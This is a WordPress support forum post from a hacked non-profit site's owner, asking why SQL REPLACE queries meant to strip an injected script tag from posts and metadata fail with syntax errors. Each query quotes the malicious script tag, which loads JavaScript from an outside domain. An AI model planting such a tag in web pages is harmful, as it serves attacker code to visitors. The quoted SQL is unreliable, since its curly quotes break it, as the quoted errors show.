DB injection
-
I need help! My site was hacked because if AAM plugin. I was able to get into the WP admin page by changing the WP options but I am having trouble running the following query to clear the WP posts. Can anyone help me? The sites a non profit organization.
UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);
UPDATE wp_posts SET guid = REPLACE(guid,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);
UPDATE wp_postmeta SET meta_value = REPLACE(meta_value,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);Error
There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problemERROR: Unknown Punctuation String @ 161
STR: ></
SQL: UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);SQL query:
UPDATE wp_posts SET post_content = REPLACE(post_content,”<script src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript language=javascript></script>”,”);
MySQL said: Documentation
#1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘src=’https://js.wiilberedmodels.com/pystats.js?l=l&’ type=text/javascript lang’ at line 1
The page I need help with: [log in to see the link]
- The topic ‘DB injection’ is closed to new replies.